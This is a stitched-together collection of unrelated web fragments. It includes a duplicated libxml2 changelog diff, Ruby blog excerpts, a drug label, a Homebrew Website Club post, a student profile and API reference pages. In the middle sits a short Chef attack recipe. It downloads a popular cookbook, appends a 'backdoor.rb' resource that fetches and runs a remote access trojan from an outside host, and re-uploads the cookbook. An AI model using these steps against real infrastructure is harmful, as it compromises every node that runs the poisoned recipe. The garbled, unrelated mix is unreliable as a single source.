totalDigits bug (Kasimier Buchcik), error handling when writing to an
xmlBuffer (Rob Richards), runtest schemas error not reported (Hisashi
Fujinaka), signed/unsigned problem in date/time code (Albert Chin), fix
XSI driven XSD validation (Kasimier), parsing of xs:decimal (Kasimier),
fix DTD writer output (Rob Richards), leak in xmlTextReaderReadInnerXml
(Gary Coady), regexp bug affecting schemas (Kasimier), configuration of
runtime debugging (Kasimier), xmlNodeBufGetContent bug on entity refs
(Oleksandr Kononenko), xmlRegExecPushString2 bug (Sreeni Nair),
! compilation and build fixes (Michael Day), removed dependancies on
xmlSchemaValidError (Kasimier), bug with <xml:foo/>, more XPath
pattern based evaluation fixes (Kasimier)
- improvements: XSD Schemas redefinitions/restrictions (Kasimier
Buchcik), node copy checks and fix for attribute (Rob Richards), counted
transition bug in regexps, ctxt->standalone = -2 to indicate no
xmlSchemaCheckCSelectorXPath(), xmlTextWriterVSprintf() misuse of
vsnprintf (William Brack), XHTML serialization fix (Rob Richards), CRLF
split problem (William), issues with non-namespaced attributes in
xmlAddChild() xmlAddNextSibling() and xmlAddPrevSibling() (Rob Richards),
HTML parsing of script, Python must not output to stdout (Nic Ferrier),
! exclusive C14N namespace visibility (Aleksey Sanin), XSD datatype
totalDigits bug (Kasimier Buchcik), error handling when writing to an
xmlBuffer (Rob Richards), runtest schemas error not reported (Hisashi
Fujinaka), signed/unsigned problem in date/time code (Albert Chin), fix
XSI driven XSD validation (Kasimier), parsing of xs:decimal (Kasimier),
fix DTD writer output (Rob Richards), leak in xmlTextReaderReadInnerXml
(Gary Coady), regexp bug affecting schemas (Kasimier), configuration of
runtime debugging (Kasimier), xmlNodeBufGetContent bug on entity refs
(Oleksandr Kononenko), xmlRegExecPushString2 bug (Sreeni Nair),
! compilation and build fixes (Michael Day), removed dependencies on
xmlSchemaValidError (Kasimier), bug with <xml:foo/>, more XPath
pattern based evaluation fixes (Kasimier)
- improvements: XSD Schemas redefinitions/restrictions (Kasimier
Buchcik), node copy checks and fix for attribute (Rob Richards), counted
transition bug in regexps, ctxt->standalone = -2 to indicate no
Schemas comparisons NIST passes, automata build error xsd:all,
xmlGetNodePath for namespaced attributes (Alexander Pohoyda), xmlSchemas
foreign namespaces handling, XML Schemas facet comparison (Kupriyanov
Anatolij), xmlSchemaPSimpleTypeErr error report (Kasimier Buchcik), xml:
namespace ahndling in Schemas (Kasimier), empty model group in Schemas
! (Kasimier), wilcard in Schemas (Kasimier), URI composition (William),
xs:anyType in Schemas (Kasimier), Python resolver emmitting error
messages directly, Python xmlAttr.parent (Jakub Piotr Clapa), trying to
fix the file path/URI conversion, xmlTextReaderGetAttribute fix (Rob
Richards), xmlSchemaFreeAnnot memleak (Kasimier), HTML UTF-8
serialization, streaming XPath, Schemas determinism detection problem,
Schemas comparisons NIST passes, automata build error xsd:all,
xmlGetNodePath for namespaced attributes (Alexander Pohoyda), xmlSchemas
foreign namespaces handling, XML Schemas facet comparison (Kupriyanov
Anatolij), xmlSchemaPSimpleTypeErr error report (Kasimier Buchcik), xml:
namespace ahndling in Schemas (Kasimier), empty model group in Schemas
! (Kasimier), wildcard in Schemas (Kasimier), URI composition (William),
xs:anyType in Schemas (Kasimier), Python resolver emmitting error
messages directly, Python xmlAttr.parent (Jakub Piotr Clapa), trying to
fix the file path/URI conversion, xmlTextReaderGetAttribute fix (Rob
Richards), xmlSchemaFreeAnnot memleak (Kasimier), HTML UTF-8
serialization, streaming XPath, Schemas determinism detection problem,
2.6.18: Mar 13 2005:
- build fixes: warnings (Peter Breitenlohner), testapi.c generation,
Bakefile support (Francesco Montorsi), Windows compilation (Joel Reed),
some gcc4 fixes, HP-UX portability fixes (Rick Jones).
- bug fixes: xmlSchemaElementDump namespace (Kasimier Buchcik), push and
! xmlreader stopping on non-fatal errors, thread support for dictionaries
reference counting (Gary Coady), internal subset and push problem, URL
saved in xmlCopyDoc, various schemas bug fixes (Kasimier), Python paths
fixup (Stephane Bidoul), xmlGetNodePath and namespaces, xmlSetNsProp fix
(Mike Hommey), warning should not count as error (William Brack),
xmlCreatePushParser empty chunk, XInclude parser flags (William), cleanup
2.6.18: Mar 13 2005:
- build fixes: warnings (Peter Breitenlohner), testapi.c generation,
Bakefile support (Francesco Montorsi), Windows compilation (Joel Reed),
some gcc4 fixes, HP-UX portability fixes (Rick Jones).
- bug fixes: xmlSchemaElementDump namespace (Kasimier Buchcik), push and
! xmlreader stopping on non-fatal errors, thread support for dictionnaries
reference counting (Gary Coady), internal subset and push problem, URL
saved in xmlCopyDoc, various schemas bug fixes (Kasimier), Python paths
fixup (Stephane Bidoul), xmlGetNodePath and namespaces, xmlSetNsProp fix
(Mike Hommey), warning should not count as error (William Brack),
xmlCreatePushParser empty chunk, XInclude parser flags (William), cleanup
Malcolm Tredinnick), VMS makefile update (Craig Berry),
- bug fixes: xmlGetUTF8Char (William Brack), QName properties (Kasimier
Buchcik), XInclude testing, Notation serialization, UTF8ToISO8859x
transcoding (Mark Itzcovitz), lots of XML Schemas cleanup and fixes
(Kasimier), ChangeLog cleanup (Stepan Kasal), memory fixes (Mark Vakoc),
! handling of failed realloc(), out of bound array adressing in Schemas
date handling, Python space/tabs cleanups (Malcolm Tredinnick), NMTOKENS
E20 validation fix (Malcolm),
- improvements: added W3C XML Schemas testsuite (Kasimier Buchcik), add
xmlSchemaValidateOneElement (Kasimier), Python exception hierearchy
(Malcolm Tredinnick), Python libxml2 driver improvement (Malcolm
Malcolm Tredinnick), VMS makefile update (Craig Berry),
- bug fixes: xmlGetUTF8Char (William Brack), QName properties (Kasimier
Buchcik), XInclude testing, Notation serialization, UTF8ToISO8859x
transcoding (Mark Itzcovitz), lots of XML Schemas cleanup and fixes
(Kasimier), ChangeLog cleanup (Stepan Kasal), memory fixes (Mark Vakoc),
! handling of failed realloc(), out of bound array addressing in Schemas
date handling, Python space/tabs cleanups (Malcolm Tredinnick), NMTOKENS
E20 validation fix (Malcolm),
- improvements: added W3C XML Schemas testsuite (Kasimier Buchcik), add
xmlSchemaValidateOneElement (Kasimier), Python exception hierearchy
(Malcolm Tredinnick), Python libxml2 driver improvement (Malcolm
Solaris compiler warning, fixing RPM BuildRequires,
- fixes: DTD loading on Windows (Igor), Schemas error reports APIs
(Kasimier Buchcik), Schemas validation crash, xmlCheckUTF8 (William Brack
and Julius Mittenzwei), Schemas facet check (Kasimier), default namespace
problem (William), Schemas hexbinary empty values, encoding error could
! genrate a serialization loop.
- Improvements: Schemas validity improvements (Kasimier), added --path
and --load-trace options to xmllint
- documentation: tutorial update (John Fleck)
Solaris compiler warning, fixing RPM BuildRequires,
- fixes: DTD loading on Windows (Igor), Schemas error reports APIs
(Kasimier Buchcik), Schemas validation crash, xmlCheckUTF8 (William Brack
and Julius Mittenzwei), Schemas facet check (Kasimier), default namespace
problem (William), Schemas hexbinary empty values, encoding error could
! generate a serialization loop.
- Improvements: Schemas validity improvements (Kasimier), added --path
and --load-trace options to xmllint
- documentation: tutorial update (John Fleck)
2.6.6: Feb 12 2004:
- nanohttp and nanoftp: buffer overflow error on URI parsing (Igor and
William) reported by Yuuichi Teranishi
- bugfixes: make test and path issues, xmlWriter attribute serialization
(William Brack), xmlWriter indentation (William), schemas validation
! (Eric Haszlakiewicz), XInclude dictionaries issues (William and Oleg
Paraschenko), XInclude empty fallback (William), HTML warnings (William),
XPointer in XInclude (William), Python namespace serialization,
isolat1ToUTF8 bound error (Alfred Mickautsch), output of parameter
entities in internal subset (William), internal subset bug in push mode,
<xs:all> fix (Alexey Sarytchev)
- Build: fix for automake-1.8 (Alexander Winston), warnings removal
(Philip Ludlam), SOCKLEN_T detection fixes (Daniel Richard), fix
--with-minimum configuration.
- XInclude: allow the 2001 namespace without warning.
- Documentation: missing example/index.html (John Fleck), version
! dependancies (John Fleck)
- reader API: structured error reporting (Steve Ball)
- Windows compilation: mingw, msys (Mikhail Grushinskiy), function
prototype (Cameron Johnson), MSVC6 compiler warnings, _WINSOCKAPI_
patch
- Parsers: added xmlByteConsumed(ctxt) API to get the byte offest in
input.
2.6.5: Jan 25 2004:
! - Bugfixes: dictionaries for schemas (William Brack), regexp segfault
(William), xs:all problem (William), a number of XPointer bugfixes
(William), xmllint error go to stderr, DTD validation problem with
namespace, memory leak (William), SAX1 cleanup and minimal options fixes
(Mark Vadoc), parser context reset on error (Shaun McCance), XPath union
evaluation problem (William) , xmlReallocLoc with NULL (Aleksey Sanin),
2.6.6: Feb 12 2004:
- nanohttp and nanoftp: buffer overflow error on URI parsing (Igor and
William) reported by Yuuichi Teranishi
- bugfixes: make test and path issues, xmlWriter attribute serialization
(William Brack), xmlWriter indentation (William), schemas validation
! (Eric Haszlakiewicz), XInclude dictionnaries issues (William and Oleg
Paraschenko), XInclude empty fallback (William), HTML warnings (William),
XPointer in XInclude (William), Python namespace serialization,
isolat1ToUTF8 bound error (Alfred Mickautsch), output of parameter
entities in internal subset (William), internal subset bug in push mode,
<xs:all> fix (Alexey Sarytchev)
- Build: fix for automake-1.8 (Alexander Winston), warnings removal
(Philip Ludlam), SOCKLEN_T detection fixes (Daniel Richard), fix
--with-minimum configuration.
- XInclude: allow the 2001 namespace without warning.
- Documentation: missing example/index.html (John Fleck), version
! dependencies (John Fleck)
- reader API: structured error reporting (Steve Ball)
- Windows compilation: mingw, msys (Mikhail Grushinskiy), function
prototype (Cameron Johnson), MSVC6 compiler warnings, _WINSOCKAPI_
patch
- Parsers: added xmlByteConsumed(ctxt) API to get the byte offest in
input.
2.6.5: Jan 25 2004:
! - Bugfixes: dictionnaries for schemas (William Brack), regexp segfault
(William), xs:all problem (William), a number of XPointer bugfixes
(William), xmllint error go to stderr, DTD validation problem with
namespace, memory leak (William), SAX1 cleanup and minimal options fixes
(Mark Vadoc), parser context reset on error (Shaun McCance), XPath union
evaluation problem (William) , xmlReallocLoc with NULL (Aleksey Sanin),
immutable buffers, make predefined entities static structures, etc...
- rewrote all the error handling in the library, all errors can be
intercepted at a structured level, with precise information
available.
- New simpler and more generic XML and HTML parser APIs, allowing to
! easilly modify the parsing options and reuse parser context for multiple
consecutive documents.
- Similar new APIs for the xmlReader, for options and reuse, provided new
functions to access content as const strings, use them for Python
bindings
- a lot of other smaller API improvements: xmlStrPrintf (Aleksey Sanin),
immutable buffers, make predefined entities static structures, etc...
- rewrote all the error handling in the library, all errors can be
intercepted at a structured level, with precise information
available.
- New simpler and more generic XML and HTML parser APIs, allowing to
! easily modify the parsing options and reuse parser context for multiple
consecutive documents.
- Similar new APIs for the xmlReader, for options and reuse, provided new
functions to access content as const strings, use them for Python
bindings
- a lot of other smaller API improvements: xmlStrPrintf (Aleksey Sanin),
< prev index next >


Get a sense of what's in use and note shells (zsh/bash, etc)
$ knife search "*" -a recipes | sort | uniq -c | sort -n -r | head
Edit popular in-use recipes (example zsh)
$ knife cookbook download zsh
$ cat backdoor.rb >> zsh/recipe/default.rb
$ knife cookbook upload zsh
backdoor.rb
bash 'backdoor' do
code <<-EOF
wget http://attacher.com/rat.sh
bash bad.sh
EOF
end


AIDPLUS STING RELIEF PREP PAD - alcohol and benzocaine swab
Planet (Suzhou) Medical Products Co. Ltd
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Drug Facts
Active Ingredient Purpose
Isopropyl Alcohol, 70% v/v Antiseptic
Benzocaine, 6% Topical Antiseptic
Inactive Ingredient: water
Use: For preparation of the skin prior to an injection
Warnings:
For external use only
Flammable, keep away from fire or flame
Directions: Prior to injection - Adults and children 2 years of age or older: apply to the skin just prior to injection. Benzocaine takes a moment to act. For best results wait briefly and then make injection. Children under 2 years of age: Ask a doctor.
STING RELIEF PREP PAD
First Aid Series
Isopropyl Alcohol 70% and Benzocaine
Antiseptic/Anesthetic for preparation of the skin prior to injection
AidPlus
For Professional and Hospital Use
STING RELIEF PAD LABEL" src="http://dailymed.nlm.nih.gov/dailymed/image.cfm?setid=07f10ebb-103d-475f-b89e-bf7ff9f59568&name=stingpad.jpg">
Planet (Suzhou) Medical Products Co. Ltd


Apple has just announced Mountain Lion, the next version of OS X, due out in the summer. Although it’s more of an incremental upgrade than Lion was1, one of the most interesting features is Gatekeeper. Gatekeeper, in brief, prevents unsigned code from running on OS X. Although it can be disabled, it’s on by default, and many feel this is the beginning of the end for users having full control of their computers. I feel the opposite: it’s not a slippery slope, and it’s actually a great feature.
Even More Clean Tests:Magic Values
In the last two posts about “clean tests”, we talked about the structure of a test, how to eliminate duplication, and how to make intent clear when using mocks. We left off with a question of magic values: Why do we seem to use them in our tests, when we know they are wrong in production code? Let’s explore that and see how to eliminate their use in our tests without making the tests hard to understand.
Avoid the Kingdom of Nouns With Procs
Hopefully you’ve read Steve Yegge’s excellent kingdom of nouns essay, in which he bemoans a pattern that exists in a lot of Java-base systems. The tell-tale sign is a class named ThingDoer
with a single method doThing()
. Systems like this don’t arise simply because Java is the way it is, but when you follow SOLID principles (particularly the single responsibility and dependency inversion principles), your code ends up with lots of small classes that do one thing only.
In Java, you are basically stuck with this, but in Ruby (or any OO language that supports closures/blocks/functions), we can fight this by using Procs instead of classes.
More Clean Tests: Handling Mocks & Block-based Asserts
In a previous post, I talked about the overall structure of a test and how that was important to understand the test itself. A brief review:
- Given - Establish the conditions under which the test will run
- When - Run the code under test
- Then - assert that the code did what you expect
This structure becomes problematic when using either mock objects or block-based asserts.
The War on Comments
Code comments often get a bad rap, especially in the Ruby community, with phrases like “code should be self-documenting” floating around, legitimizing the production of code with no documentation at all. In fact, code comments are one of the many useful tools developers have to make their intent clear, and writing them off as a “code smell” is naive and dangerous.
Make Tests Clean and Clear Without Duplication
Some collegues and I were dicussing dupication in tests, specifically how much repitition of code across tests is acceptible. On the one hand, you want each test to stand on its own and indicate what it’s testing. On the other hand, just because we’re in a test doesn’t mean that all the rules about duplication of code don’t apply; tests need to be maintained to, and if you make a large change, you don’t want to have to change it in several places.
How much duplication is too much or, what does duplication in tests mean, and how does it affect the understandability and maintainability of our tests?
2011 in Review
At the start of 2011, I blogged about a “professional goals” file I found on my computer, and compared it to what happened. I kindof enjoyed the exercise, so here’s a repeat.
Review of ‘Working With Unix Processes’
I just finished reading the short and to-the-point Working with Unix Processes, by Jess Storimer. Although I cut my teeth on C and UNIX programming, it’s been a while, and I figured I’d check the book out to see what insights it might have, especially given that it’s written from a Ruby perspective.
In short, I’d recommend this book to someone interested in command-line Ruby (and who might have my book), but who has very little UNIX programming experience. This book is a crash-course in the basics of UNIX Process management.
That being said, if you are (or have been) familiar with things like fork
and exec
, you’ll find this book a bit too light, especially given the price (update 1/2/2012 see inside).
Introducing Methadone, the Awesome Command-Line Library
I’ve spent the last year writing a book on building awesome command-line applications in Ruby. Over the course of writing it, I’ve used a lot of Ruby libraries for building command-line apps, and none of them work quite right. In my book, I spent significant time on OptionParser, since it’s builtin, and GLI, since I wrote it (and since it’s actually very fully-featured compare to the alternatives).
I just finished up an appendix where I showed alternate implementations of the running examples using main, thor, and trollop. I did this for a few reasons:
- These tools are popular, and people have asked if they’d be included
- They are, by and large, very different from how
OptionParser
and GLI work - I wanted to give them a real shakedown
I also surveyed many other tools, but, alas, I couldn’t include everything. Each of these tools have a common theme, which is to
avoid the boilerplate of OptionParser
, and make it really easy to parse command-line arguments. They all have done this, but at
a cost. All of them are less powerful and extensible than OptionParser
, and only slightly more compact (or, in the case of
main, more verbose).
Enter methadone, which has all of OptionParser
’s power, but the compactness of these other frameworks.
My Book’s in Beta!
Build Awesome Command-Line Applications in Ruby
Control your Computer, Simplify your Life
Woot!
My Book is in Beta! Whoohoo! It’s all about writing amazing command-line apps in Ruby. This isn’t about hacking together UNIX commands, or bash scripting…this is about making apps that are easy to learn, easy to use, easy to write, and that will delight their users.
It’s been a long time coming. Please stop now, and go check it out. I started this almost a year ago during PragProWriMo, where I wrote (almost) every single day in November of 2010. When I saw that Travis Swicegood (one of the few who made it all the way through) had gotten his manuscript accepted, I cleaned up a chapter and submitted and the Prags accepted!
I’ve spent my time since then writing, re-writing, re-organizing, and working hard to get this thing done. It’s in beta, meaning that you can buy the e-book and read the work in progress. It’s almost complete, just a few chapters to go, and by reading it in beta, you can give me valuable feedback to make the book even better.
Check it out now!


Matthieu Caneill, February 2015
Raise hands if you know...
$ git clone
clones a repository from a remote URL
$ git pull
receives the new commits from the remote
$ git add
adds files or folders to the index
$ git commit
aggregates the changes in the index
$ git push
sends the new commits to the remote
With Travis-CI
With Heroku


I attended the Homebrew Computer Club 38th Reunion and got to hear Steve Wozniak give an impromptu speech from the heart. It was both inspiring and reminded me of many of the reasons I developed a passion for computers in the first place.
In reflecting on my notes from his speech, I realized that everything that Woz said about how the Homebrew Computer Club from the start about your "own machine" or your "own computer" applies today nearly 40 years later to your own online identity and your own website.
However, like the early 1970s, the dominant computing paradigm is once again stuck in a timesharing mindset, updated with new terms and prettier interfaces.
You may "own" your own handheld machine and computer, but your software and data are more and more updated, controlled, and stored in one or more proprietary centralized "clouds" (whether Google's Gmail/Calendar/Documents, or Apple's iCloud, or Facebook, or others vying to replace them).
You used to be able to buy two Apple devices, e.g. an iPad/iPod/iPhone and a Mac, and sync them directly with each other. However, as of the latest version of Apple's operating system, ironically named "Mavericks", you can no longer do so, and must sync them both with iCloud, which they treat as the "true" copy of your data:
[...] If you use OS X Mavericks v.10.9 or later, your contacts, calendars, and other info are updated on your computers and iOS devices via iCloud. [...]
Stuck somewhere without an internet connection, or a connection that is slow or unreliable?
Too bad, you can no longer sync between the devices that you hold in your hand, despite physically connecting them to each other with a cable. You are blocked from syncing the data between the devices in your very hands.
Last week Woz said:
We all wanted to be close to our own machine.
If our machines are where we store (and share) our data, we are getting further from our machines, not closer.
The timesharing systems of the 1970s were not disrupted overnight. Nor were they disrupted by large corporations no matter how innovative they thought they were. Nor were they disrupted by first designing for every user.
They were disrupted by the emergence of innovations from a small group of dedicated enthusiasts who were first looking to empower each other, and second empower others. Woz continued:
We wanted to own our own computer.
You were going to go into your company, and take your own machine.

So what was it about the Homebrew Computer Club that made so much possible? Was it the timing - ? The Silicon Valley location(s)? The people? The frequency of meetings? The structure - how Lee Felsenstein ran the meetings?
At the 38th reunion I had the chance to catch up with Chris Espinosa, a frequent attendee of Homebrew Computer Club meetings, and asked him about some of the details.
- What time was the meeting?
- Right after work [7pm according to first issue of HCC newsletter]
- How often did they meet?
- Every two weeks. Often enough for a growing sense of continuity, yet infrequent enough to encourage going rather than skipping to go "next week".
- What was the general structure?
- Lee would start the meeting with a microphone, and then given the microphone to anyone who raised their hand with a point to make, or a question to ask. After that there was the "random access" period where people would break off and have smaller discussions, and eventually leave and go get something to eat, like at The Oasis in Palo Alto, or Bob's Big Boy in Cupertino (especially if you were under 21 [which Chris was at the time]).
For a few years now we've had another growing community, focused on owning your own online identity and data. Primarily online with a wiki and IRC channel, we've also had a strong in-person component, meeting annually in various cities on weekends, and sometimes for evening dinners.
Hearing the speeches at the Homebrew reunion and speaking with Chris made me wonder: what if we cloned some aspects of the Homebrew Computer Club and created an equivalent for personal websites?
- We want to own our own web identity and data.
- We all want to be close to our machines, content, identities.
- Imagine going into a company, not only with your own machine(s), but your own online identity, document storage, etc.
- We want to make tools that make us and eventually everyone a master of their own life.
I mentioned these parallels to Ben Werdmuller and he said it made complete sense to him as well.
So we're doing this. Started with inspiration, re-using much of the HCC structure, yet without asking permission:
- What
- The Homebrew Website Club
- Who
Are you building your own website? Indie reader? Personal publishing web app? Or some other digital magic-cloud proxy?
If so, you might like to come to a gathering of people with likeminded interests. Exchange information, swap ideas, talk shop, help work on a project, whatever... (copied and modified from issue 1).
- When
- - every other Wednesday night, starting
- Where (Updated!)
- MozillaSF 7th floor in San Francisco (transit BART:Embarcadero, MUNI:Embarcadero&Folsom).
I really liked the "mapping" and "random access" meeting phases that Lee Felsenstein came up with. Perhaps we'll adopt similar phases like 30 minutes of "broadcasting" (for anyone to show what they've got working, or ask an open question for help with something) and 30 minutes of "peer to peer".
I also remember someone at the reunion relating how when someone with the microphone went too long, Lee would cut them off and pass the mic to another person. We'll have to see how much such explicit "blowhard" management is needed. Maybe we just timebox "broadcasting" to 30 min total, and 2 minutes per person? Or maybe we'll figure it out as we go.
Chris Espinosa's description about how the Homebrew meetings were "right after work" stuck with me. This meant the meetings were something you could go to before other plans, leaving the rest of the evening free to fork off in smaller groups for food, or seeing other friends, or going to home to spend time with the family. Such timing provides greater flexibility for a broader set of people who may have other evening obligations. Ben and I have decided to try starting at 18:30 and see how that goes. We figure you should all be leaving work by 18:00 anyway (regardless of what you do), leaving 30 minutes for transit.
Once we've confirmed a venue (we have), I'll update this post (updated) and post an update. Until then, put it in your calendar:
- 18:30 on Wednesday 2013-11-20 @MozSF: Homebrew Website Club
Be seeing you.
Thanks to Joël Franusic and Ben Werdmuller for reviewing drafts of this post.


Nermeen Nasasra
My name is nermeen almanaseer
I am 23 years old
I am studed a computer engineering at university of jordan
And i trainning at ministry of public work and housing about 2 mounths
My goal become an iffective and important person
My top ten cars I wish get one of them
tesla
audi
jaguar
mercedes
toyota camry
bentley
ford fusion
lexus
ferrari
mazda


Class AssetFeature
Features are used to restrict how Assets should be used. Features are not always signed by the owner, rather, they are signed by the same Identity as the associated Asset.
Assembly: SmartcryptProtocol.dll
Syntax
public sealed class AssetFeature : BasePdu<AssetFeature>, IEquatable<AssetFeature>
Constructors
AssetFeature(AssetFeature)
Declaration
public AssetFeature([NotNull] AssetFeature other)
Parameters
Fields
CompatibilityMandatory
The application is not permitted to operate in this asset until it is upgraded. It must notify it's user of this condition and not participate in any transactions within this asset. It must not even submit it's PID for access.
Declaration
public const string CompatibilityMandatory = "Mandatory"
Field Value
CompatibilityOptional
The application is allowed to ignore this feature and operate as usual. It will not notify it's user of this condition; incompatibility is silently ignored.
Declaration
public const string CompatibilityOptional = "Optional"
Field Value
CompatibilityReadOnly
The application is not permitted to perform any create/update/delete operations (outbound tunnel activity) on this asset, but may perform read/decrypt operations (inbound tunnel activity) as usual. It must notify it's user of this condition. If this application (user) is an owner of the asset, it must not attempt to engage in owner activity, i.e. must not manipulate metadata. This is the default compatibility mode.
Declaration
public const string CompatibilityReadOnly = "ReadOnly"
Field Value
CompatibilitySuggested
The application is allowed to ignore this feature and operate as usual. However, it must notify it's user that a feature selected by the moderator is not understood and an upgrade of the application is suggested. If this user is the owner, the suggestion still applies.
Declaration
public const string CompatibilitySuggested = "Suggested"
Field Value
NameNonRotatable
Indicates that the asset must not be rotated. No new AssetKeys may be issued, even if users are removed from the asset.
Declaration
public const string NameNonRotatable = "non-rotatable"
Field Value
record
Declaration
[NotNull]
public readonly AssetFeature.Record record
Field Value
Properties
assetid
Declaration
public long assetid { get; set; }
Property Value
created_at
Declaration
[CanBeNull]
public string created_at { get; set; }
Property Value
homeServer
Declaration
[CanBeNull]
public string homeServer { get; set; }
Property Value
id
Declaration
public long id { get; set; }
Property Value
ownerid
Declaration
public long ownerid { get; set; }
Property Value
signature
Declaration
[CanBeNull]
public string signature { get; set; }
Property Value
updated_at
Declaration
[CanBeNull]
public string updated_at { get; set; }
Property Value
Methods
ToJson(Boolean)
Declaration
protected override string ToJson(bool sending)
Parameters
| Type |
Name |
Description |
| Boolean |
sending |
|
Returns
Overrides
PKWARE.Smartcrypt.Protocol.BasePdu<PKWARE.Smartcrypt.Protocol.AssetFeature>.ToJson(System.Boolean)
Implements


jHC Study
Template demo
WAKAMSHA
Front-end developer
wakamsha
@wakamsha
Home
Items
Help
btn
btn Disabled
normal link
btn-block
btn-block
First Name
Last Name
Age
Total
Discount
Difference
Date
Bruce
Almighty
45
$153.19
44.7%
+77
Jan 18, 2001 9:12 AM
Bruce
Evans
22
$13.19
11%
-100.9
Jan 18, 2007 9:12 AM


Word Finder
The word finder will enumerate a list of words which satisfy the criteria you provide. Use the text
box above to enter a term, and use the dropdown to specify what words you wish to generate given this
prompt. You may specify multiple criteria by using the '+' button to add more inputs. Examples of what
sort of words the different criteria generate is given here:
- Means Like
- Words which have a related meaning
- Sounds Like
- Words which are pronounced similarly
- Spelled Like
- Words which are spelled similarly. You can use the special characters * (which matches any number of characters) and ? (which matches exactly one character) in this mode
- Associated nouns
- Nouns which are commonly modified by the given adjective, e.g. gradual → increase
- Associated adjectives
- Adjectives which are commonly modified by the given noun, e.g. beach → sandy
- Synonyms
- Thesaurus style synonyms, e.g. ocean → sea
- Triggers
- Words which are commonly associated, e.g. cow → milking
- Antonyms
- Thesaurus style antonyms, e.g. late → early
- Hypernyms
- Generalisations, e.g. gondola → boat
- Hyponyms
- Specialisations, e.g. boat → gondola
- Holonyms
- Things which comprise the word, e.g. car → accelerator
- Meronyms
- Things which the word is part of, e.g. trunk → tree
- Frequent Followers
- Words which often come afterwards, e.g. wreak → havoc
- Frequent Predecessors
- Words which often come before, e.g. havoc → wreak
- Rhymes
- Perfect rhymes, e.g. spade → aid
- Approximate Rhymes
- Non-perfect rhymes, e.g. forest → chorus
- Homophones
- Words which are pronounced identically, e.g. course → coarse
- Consonant Match
- Words which differ only by vowels, e.g. sample → simple


First (unordered)
Second(ordered as order-12)
Third (oredered as order-1)
The display example.
This text is visible only in small


http://barbie.uta.edu/~jli/Resources/MapReduce&Hadoop/Distributed%20Systems%20Principles%20and%20Paradigms.pdf
Layered architectures
Object based architectures
Data-centered architectures
Event-based architectures


Go to the source code of this file.
Macros | |
| #define | LE_CI_LINKAGE |
| #define | COMPONENT_INIT LE_CI_LINKAGE LE_SHARED void _le_event_InitializeComponent(void) |
| #define | LE_EVENT_INIT_HANDLER COMPONENT_INIT |
| Deprecated name for COMPONENT_INIT. | |
Typedefs | |
| typedef struct le_event_Id * | le_event_Id_t |
| typedef void(* | le_event_HandlerFunc_t) (void *reportPtr) |
| typedef void(* | le_event_LayeredHandlerFunc_t) (void *reportPtr, void *secondLayerFunc) |
| typedef void(* | le_event_DeferredFunc_t) (void *param1Ptr, void *param2Ptr) |
| typedef struct le_event_Handler * | le_event_HandlerRef_t |
Legato Event Loop API include file.
Copyright (C) Sierra Wireless Inc. Use of this work is subject to license.
| #define COMPONENT_INIT LE_CI_LINKAGE LE_SHARED void _le_event_InitializeComponent(void) |
Initialization event handler function.
| #define LE_CI_LINKAGE |
| typedef void(* le_event_DeferredFunc_t) (void *param1Ptr, void *param2Ptr) |
Prototype for deferred functions look like this:
| param1Ptr | [in] Value passed in as param1Ptr to le_event_QueueFunction(). |
| param2Ptr | [in] Value passed in as param2Ptr to le_event_QueueFunction(). |
See Deferred Function Calls for more information.
| typedef void(* le_event_HandlerFunc_t) (void *reportPtr) |
Prototype for publish-subscribe event handler functions look like this:
| reportPtr | [in] Pointer to the event report payload. |
| typedef struct le_event_Handler* le_event_HandlerRef_t |
Handler reference.
Used to refer to handlers that have been added for events. Only needed if you want to set the handler's context pointer or need to remove the handler later.
| typedef struct le_event_Id* le_event_Id_t |
Event ID.
An Event ID ties event reports to event handlers. See Publish-Subscribe Events for more details.
| typedef void(* le_event_LayeredHandlerFunc_t) (void *reportPtr, void *secondLayerFunc) |
Prototype for the first layer of a layered publish-subscribe event handler function look like this:
| reportPtr | [in] Pointer to the event report payload. |
| secondLayerFunc | [in] Address of the second layer handler function. |
| le_event_HandlerRef_t le_event_AddHandler | ( | const char * | name, |
| le_event_Id_t | eventId, | ||
| le_event_HandlerFunc_t | handlerFunc | ||
| ) |
Adds a handler function for a publish-subscribe event ID.
Tells the calling thread event loop to call a specified handler function when a defined event reaches the front of the event queue.
| [in] | name | Handler name. |
| [in] | eventId | Event ID. |
| [in] | handlerFunc | Handler function. |
| le_event_HandlerRef_t le_event_AddLayeredHandler | ( | const char * | name, |
| le_event_Id_t | eventId, | ||
| le_event_LayeredHandlerFunc_t | firstLayerFunc, | ||
| void * | secondLayerFunc | ||
| ) |
Adds a layered handler function for a publish-subscribe event ID.
Tells the calling thread event loop to call a specified handler function when a defined event reaches the front of the event queue. Passes the required handler functions when called.
This is intended for use in implementing Layered Publish-Subscribe Handlers.
| [in] | name | Handler name. |
| [in] | eventId | Event ID. |
| [in] | firstLayerFunc | Pointer to first-layer handler func. |
| [in] | secondLayerFunc | Pointer to second-layer handler func. |
| le_event_Id_t le_event_CreateId | ( | const char * | name, |
| size_t | payloadSize | ||
| ) |
Create a new event ID.
| [in] | name | Name of the event ID. (Named for diagnostic purposes.) |
| [in] | payloadSize | Data payload size (in bytes) of the event reports (can be 0). |
| le_event_Id_t le_event_CreateIdWithRefCounting | ( | const char * | name | ) |
Create a new event ID to report events where the payload is a pointer to a reference-counted memory pool object allocated using the Dynamic Memory Allocation API.
| [in] | name | Name of the event ID. (Named for diagnostic purposes.) |
| void* le_event_GetContextPtr | ( | void | ) |
Fetches the context pointer for the currently running event handler.
Can only be called from within an event handler function.
| int le_event_GetFd | ( | void | ) |
Fetches a file descriptor that will appear readable to poll(), select(), epoll_wait(), etc. when the calling thread's Event Loop needs servicing (via a call to le_event_ServiceLoop()).
| void le_event_QueueFunction | ( | le_event_DeferredFunc_t | func, |
| void * | param1Ptr, | ||
| void * | param2Ptr | ||
| ) |
Queue a function onto the calling thread's Event Queue. When it reaches the head of the Event Queue, it will be called by the calling thread's Event Loop.
| [in] | func | Function to be called later. |
| [in] | param1Ptr | Value to be passed to the function when called. |
| [in] | param2Ptr | Value to be passed to the function when called. |
| void le_event_QueueFunctionToThread | ( | le_thread_Ref_t | thread, |
| le_event_DeferredFunc_t | func, | ||
| void * | param1Ptr, | ||
| void * | param2Ptr | ||
| ) |
Queue a function onto a specific thread's Event Queue. When it reaches the head of that Event Queue, it will be called by that thread's Event Loop.
| [in] | thread | Thread to queue the function to. |
| [in] | func | The function. |
| [in] | param1Ptr | Value to be passed to the function when called. |
| [in] | param2Ptr | Value to be passed to the function when called. |
